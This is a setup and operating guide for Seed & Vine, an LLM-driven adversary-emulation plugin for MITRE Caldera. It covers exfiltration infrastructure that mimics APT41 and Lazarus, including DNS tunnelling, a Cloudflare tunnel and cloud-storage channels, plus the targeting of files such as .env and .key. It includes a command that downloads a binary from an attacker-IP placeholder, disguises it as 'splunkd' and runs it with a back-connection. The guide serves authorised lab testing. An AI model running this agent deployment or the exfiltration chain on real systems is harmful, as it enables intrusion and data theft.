- Introduction
- System Requirements
- Installing MITRE Caldera
- Installing Seed & Vine
- Plugin Integration
- Exfiltration Infrastructure Setup
- Operating Seed & Vine
Seed & Vine is an add-on plugin for MITRE Caldera that uses artificial intelligence (AI) to automatically simulate cyber attacks. It is designed to help security teams test the resilience of their systems in a smarter and more controlled way. Unlike standard simulations that follow a fixed sequence rigidly, Seed & Vine can dynamically adapt its attack steps based on conditions found in the field, while remaining under the full oversight and control of a human operator.
This document is a step-by-step guide for installing, configuring, and running Seed & Vine on top of the MITRE Caldera platform. It is intended for anyone who wants to use this plugin in their security testing environment, from initial preparation through to a fully running operation.
Before starting installation, ensure your environment meets the following:
- Ubuntu 24.04 LTS (64-bit)
- Python 3.10 or higher
- Minimum 16GB RAM
- Minimum 4-core CPU
- MITRE Caldera 5.3.0
- NodeJS 16 or higher
- API Key from an LLM provider (Anthropic or Google Gemini)
- Active internet connection
- GoLang 1.24+ (optional, for dynamic agent compilation)
- OS: Ubuntu 24.04 LTS (64-bit)
- CPU: 4 cores, 3.0 GHz or higher
- RAM: 16 GB
- Storage: 20 GB+ available, SSD recommended
- GoLang: 1.24+ (optional, for dynamic agent compilation)
The following software must be installed before proceeding:
Core Software:
- Git: to download source code from repositories
- Python 3.11: primary programming language used by the system
- NodeJS 16+: to run the Caldera web interface
- GoLang 1.24+ (optional), for dynamic agent compilation
- MITRE Caldera 5.3.0: the adversary emulation platform that Seed & Vine runs on
Caldera and Seed & Vine dependencies are installed automatically via pip install -r requirements.txt in their respective folders.
Seed & Vine supports multiple LLM providers, both local and external API-based. For best results, use an external provider that supports SSE streaming.
Recommended providers:
- Anthropic Claude: supports prompt caching and streaming. Get your API key at https://console.anthropic.com
- Google Gemini: supports prompt caching and streaming. Get your API key at https://aistudio.google.com
Other providers such as OpenAI, Mistral, or local models like Ollama can also be used as long as they are supported by LiteLLM and configured correctly in conf/llm_providers.yaml.
Skip this section if MITRE Caldera is already installed.
Create a virtual environment first to avoid conflicts with existing Python packages:
cd ~
python3 -m venv .calderaenv
cd .calderaenv
source bin/activateThen clone Caldera and install its dependencies:
git clone https://github.com/mitre/caldera.git --recursive --tag 5.3.0
cd caldera
pip3 install -r requirements.txtThe following flags are available when starting Caldera:
--insecure: uses Caldera's default built-in configuration with preset credentials. Required if following this guide.--build: builds the Caldera web UI. Required on first run or after adding new plugins.--fresh: clears previous operation data on startup. Use when starting fresh.-l: sets the log level. Options:DEBUG,INFO,WARNING,ERROR,CRITICAL.-E: selects a specific environment config file.-P: starts Caldera with a single specific plugin only.
When using Seed & Vine, add -l INFO to monitor AI activity through the server log:
python3 server.py --insecure --build -l INFONote: The
--insecureflag uses hardcoded default credentials suitable for Proof of Concept testing environments. This configuration is not recommended for production use.
Run Caldera with:
python3 server.py --insecure --build -l INFOWait until the Caldera ASCII logo appears in the terminal along with the message All systems ready.
Then open a browser and go to http://localhost:8888. Log in with username red and password admin.
Before proceeding, stop the Caldera server by pressing Ctrl + C in the terminal where it is running.
Make sure the virtual environment is active, then clone the Seed & Vine repository into the Caldera plugins folder:
cd ~/.calderaenv/caldera/plugins
git clone https://github.com/Zhaxstronaut/seed_and_vine.git seed_and_vineNavigate to the Seed & Vine folder and install all required dependencies:
cd seed_and_vine
pip3 install -r requirements.txtCreate the .env file from the provided template:
cp .env.example .envBy default, CALDERA_API_KEY is already set to ADMIN123, which is correct for local testing environments. No changes are needed unless you have changed the default Caldera API key.
Open conf/default.yml in the Caldera folder and add seed_and_vine to the plugins list:
nano ~/.calderaenv/caldera/conf/default.ymlEnsure the plugins section looks like this:
plugins:
- access
- atomic
- compass
- debrief
- fieldmanual
- manx
- response
- sandcat
- stockpile
- training
- seed_and_vine
- emuSave the file when done.
Restart Caldera:
cd ~/.calderaenv/caldera
python3 server.py --insecure --build -l INFOOpen a browser and go to http://localhost:8888. If the plugin is detected successfully, the Seed & Vine menu will appear in the Caldera sidebar.
This section explains how to set up the supporting infrastructure for data exfiltration simulation. Seed & Vine supports two groups of exfiltration methods, each requiring different infrastructure.
This infrastructure is not started automatically by Caldera. The operator must run it manually in a separate terminal before starting any operation.
The plugins/seed_and_vine/scripts/ folder contains two main files:
auto_infra.sh: the main script that automatically manages all exfiltration infrastructure based on the selected mode.dns_exfil_listener.py: a DNS data receiver server managed automatically byauto_infra.sh. Does not need to be run manually.
Two modes are available, corresponding to the two threat actor groups in Seed & Vine:
Lazarus Mode activates Mailpit as a local SMTP server and refreshes the Dropbox token. Used for smtp and dropbox exfiltration methods.
APT41 Mode activates a Cloudflare tunnel, DNS listener, and refreshes the OneDrive token. Used for cloudflare_c2, dns_tunnel, and onedrive exfiltration methods.
Before running the scripts, ensure the following binaries are installed:
Install cloudflared:
wget -O ~/cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64
chmod +x ~/cloudflaredInstall mailpit:
sudo bash < <(curl -sL https://raw.githubusercontent.com/axllent/mailpit/develop/install.sh)Create the .env file from the provided template:
cd plugins/seed_and_vine/scripts/
cp .env.example .env
nano .envFor Lazarus Mode, fill in the following Dropbox credentials:
DROPBOX_APP_KEYandDROPBOX_APP_SECRET, from the Dropbox App Console at https://www.dropbox.com/developers/appsDROPBOX_REFRESH_TOKEN: obtained via the OAuth2 authorization flow. See the official guide at https://developers.dropbox.com/oauth-guide
For APT41 Mode, fill in the following OneDrive credentials:
ONEDRIVE_CLIENT_ID,ONEDRIVE_CLIENT_SECRET, andONEDRIVE_TENANT_ID, from the Azure Portal at https://portal.azure.comONEDRIVE_REFRESH_TOKEN: obtained via the OAuth2 authorization flow withFiles.ReadWrite.Allpermission
Seed & Vine uses a Fact Source named Seed and Vine Exfil Data to store infrastructure information needed during operations. This Fact Source can be accessed via Configuration > Fact Sources in Caldera.
Facts that must be filled in manually:
c2_exfil_url: Caldera server address for receiving exfiltrated files. Example:http://100.119.114.43:8888/file/uploadcaldera_ip: IP of the attacker machine running Caldera. Example:100.119.114.43caldera_api_key: Caldera API key. Default:ADMIN123smtp_host: IP of the machine running Mailpit. Usually the same ascaldera_ipsmtp_port: Mailpit SMTP port. Default:1025smtp_user: sender email address. Example:test@sv.labsmtp_pass: SMTP password. Default:testsmtp_recipient: recipient email address for exfiltrated data. Example:exfil@sv.labdns_exfil_domain: domain for DNS tunneling. Default:exfil.sv.lab
Facts filled in automatically by auto_infra.sh:
cloudflare_c2_url: filled automatically when APT41 mode is starteddropbox_access_token: filled automatically when Lazarus mode is startedonedrive_access_token: filled automatically when APT41 mode is started
Run the script in a separate terminal before starting any operation. Choose the mode matching your threat actor:
For Lazarus Mode (SMTP and Dropbox exfiltration):
cd plugins/seed_and_vine/scripts/
./auto_infra.sh start lazarusFor APT41 Mode (Cloudflare, DNS tunnel, and OneDrive exfiltration):
cd plugins/seed_and_vine/scripts/
./auto_infra.sh start apt41After running, the script activates in the background and the terminal is free to use again.
To check infrastructure status:
./auto_infra.sh statusTo stop all infrastructure after the operation is complete:
./auto_infra.sh stopNote: Do not run this script as root.
Open the Settings page by clicking the ⚙ button in the top-right corner of the Seed & Vine main page.
This section is used to add and configure LLM providers that the AI will use during operations. Click + ADD PROVIDER to add a new provider.
Each provider has the following fields:
- Provider Type: the provider family. Options: Anthropic, Gemini, OpenAI, Groq, Ollama, Custom.
- Model Name: the specific model string. Example:
claude-haiku-4-5-20251001for Anthropic orgemini-3.1-flash-lite-previewfor Gemini. - API Key: the provider API key. Stored automatically in the
.envfile and never saved directly in the config file. - Priority: provider priority order. Lower number = higher priority. The highest priority provider is used first.
To set API usage limits, expand Rate Limits:
- Max TPM: maximum tokens per minute. Set to
0for unlimited. - Max RPM: maximum requests per minute. Set to
0for unlimited. - Max RPD: maximum requests per day. Set to
0for unlimited. - Max Tokens: maximum output tokens per request. Set to
0for unlimited.
This section only appears if at least one Anthropic or Gemini provider is in the list.
For Gemini providers:
- Extended Thinking: enables Gemini to reason more deeply before responding. Improves planning quality but increases latency and cost. Default: OFF.
- Thinking Level: controls how deeply Gemini thinks. Options: Minimal, Low, Medium, High. Only visible when Extended Thinking is ON. Default: High.
For Anthropic providers:
- Thinking Mode: controls Claude's reasoning depth. Options:
DISABLED: direct response without additional reasoning.EXTENDED: activates deep reasoning with a set token budget.ADAPTIVE: Claude decides when to think more deeply. Only available forsonnet-4-6oropus-4-6models.
- Budget Tokens: token allocation for Claude's internal reasoning. Only visible when Thinking Mode = EXTENDED. Default: 8000, range: 1024-32000.
- Prompt Caching: caches system prompts and tool schemas that do not change between iterations, saving up to 90% on input token costs. Default: ON. Strongly recommended to keep enabled.
- DSPy Temperature: controls the randomness of AI output.
0.0produces consistent and reproducible output; values closer to1.0produce more varied output. For adversary emulation, keep at0.0for consistent AI behavior. Applies globally to all providers. - Auto-switch on Error: automatically switches to the next provider if the primary provider fails. Default: ON.
- Log Provider Switches: logs every provider switch. Useful for monitoring provider stability. Default: ON.
- Retry Primary After: how many minutes before the system retries the primary provider after switching to a fallback. Default: 30 minutes.
Displays system constants that can only be changed in app/constants.py:
- Max Planning Loops (30), maximum AI planning iterations before the operation is terminated.
- Approval Timeout (1800s), time to wait for operator approval. Auto-times out after 30 minutes.
- Execution Timeout (120s), maximum time for a single command to execute on the target machine.
- Max Consecutive Rejects (5), maximum consecutive operator rejections before the operation is automatically stopped.
After configuration is complete, click SAVE SETTINGS. Changes take effect on the next operation start. Caldera server must be restarted for new API keys to be read by the system.
Before starting an operation, an agent must be deployed to the target machine so Caldera can send commands to it.
Open Caldera in the browser, go to Campaigns > Agents, then click + Deploy an agent.
Select the Manx agent from the dropdown, then select the platform matching the target machine's OS (Linux, Windows, or Darwin).
Before copying the command, update the IP address in the following fields to match the attacker machine IP (where Caldera is running):
app.contact.http: example:http://100.119.114.43:8888app.contact.tcp: example:100.119.114.43:7010
Once the IP is updated, the command below will update automatically. Copy and run it in the target machine's terminal:
server="http://<ATTACKER_IP>:8888";
socket="<ATTACKER_IP>:7010";
contact="tcp";
curl -s -X POST -H "file:manx.go" -H "platform:linux" $server/file/download > splunkd;
chmod +x splunkd;
./splunkd -http $server -socket $socket -contact $contact -vIf successful, the target terminal will show TCP established and the agent will appear in the Caldera Agents page.
From the Seed & Vine main page, click START NEW OPERATION.
Step 01 / Mission Objective, Select the operation objective. Currently only Exfiltration is available. Click to select.
Step 02 / Target Agent, Select the active agent on the target machine. Agents with ACTIVE status will appear in the dropdown.
Step 03 / Target Assets, Select Intellectual Property to target files such as source code, design documents, or sensitive data. Choose one or more file extensions: .txt, .pdf, .docx, .xlsx, .pptx, .key, .env. Fill in Target Directory to limit the file search to a specific directory, or leave empty to search the entire system.
Step 04 / Threat Actor, Select the threat actor to emulate:
- APT41 (Double Dragon): uses
dns_tunnel,cloudflare_c2, andonedriveexfiltration methods. - Lazarus Group: uses
c2_channel,smtp, anddropboxexfiltration methods.
After selecting a threat actor, the exfiltration priority order appears below. The order can be changed by drag and drop.
Step 05 / Fact Source, Select Seed and Vine Exfil Data as the Fact Source. Ensure Pseudonymization status shows ACTIVE before proceeding.
Once all steps are complete, click the start button. The AI will begin planning and executing the kill chain automatically.
After the operation starts, all activity can be monitored in real-time through the panels on the Seed & Vine main page.
Operation Control, displays overall operation status. Kill Chain shows the active phase and its status. Governor FSM shows the AI's current internal state (IDLE, PLANNING, EXECUTING, or WAITING FOR APPROVAL), along with Loop, Backward Moves, and Tasks Done statistics.
AI Activity Stream, displays real-time AI activity logs per iteration, including the reasoning and planning process and the rationale behind each decision.
Pseudonymization Engine, displays active pseudonymization activity. The Audit Log on the left shows all encode/decode operations with timestamps. AI Receives on the right shows only pseudonyms, real values are never transmitted to the external LLM. Statistics at the bottom show Encoded, Decoded, Sanitized, and Failed counts.
Rejection Memory, records all abilities rejected by the operator. The AI will not propose the same ability again during the current operation. Maximum capacity: 5 rejections.
Caldera Server Log, AI activity can also be monitored through the Caldera server log in the terminal. The log shows execution details for each ability including status, output, and execution time.
MLflow, for deeper analysis, all operation traces are recorded in MLflow. Open MLflow at http://localhost:5000, go to the seed-and-vine-operation experiment, and select a trace ID to view. Each trace shows the full conversation between the system and the LLM including inputs, outputs, and token usage.
After the operation completes or is stopped, the monitoring page remains active showing the final operation results. Click OPERATION COMPLETED, CLICK TO CLOSE at the bottom to close and return to the Seed & Vine main page.
Operation History, after closing, a summary of the operation appears on the Seed & Vine main page under Previous Sessions. Click VIEW LOG on any entry to see the full operation report. The report can be exported as JSON by clicking EXPORT LOG JSON.
When the AI proposes an ability with CRITICAL risk, the operation automatically pauses and displays the OPERATOR AUTHORIZATION REQUIRED modal. This modal shows the AI's reasoning for the proposal and the details of the ability to be executed.
The operator has three options:
- APPROVE & EXECUTE: approve and execute the ability. Keyboard shortcut:
ENTER. - REJECT: reject the ability. The AI will look for an alternative and this ability will be recorded in Rejection Memory. Keyboard shortcut:
ESC. - ABORT OPERATION: permanently stop the entire operation.
To stop an operation at any time without waiting for an approval gate, click the TERMINATE OPERATION button at the bottom of the page. This immediately and forcefully stops the entire operation.
Seed & Vine, Authorized Academic Adversary Emulation | Isolated Lab Environment Only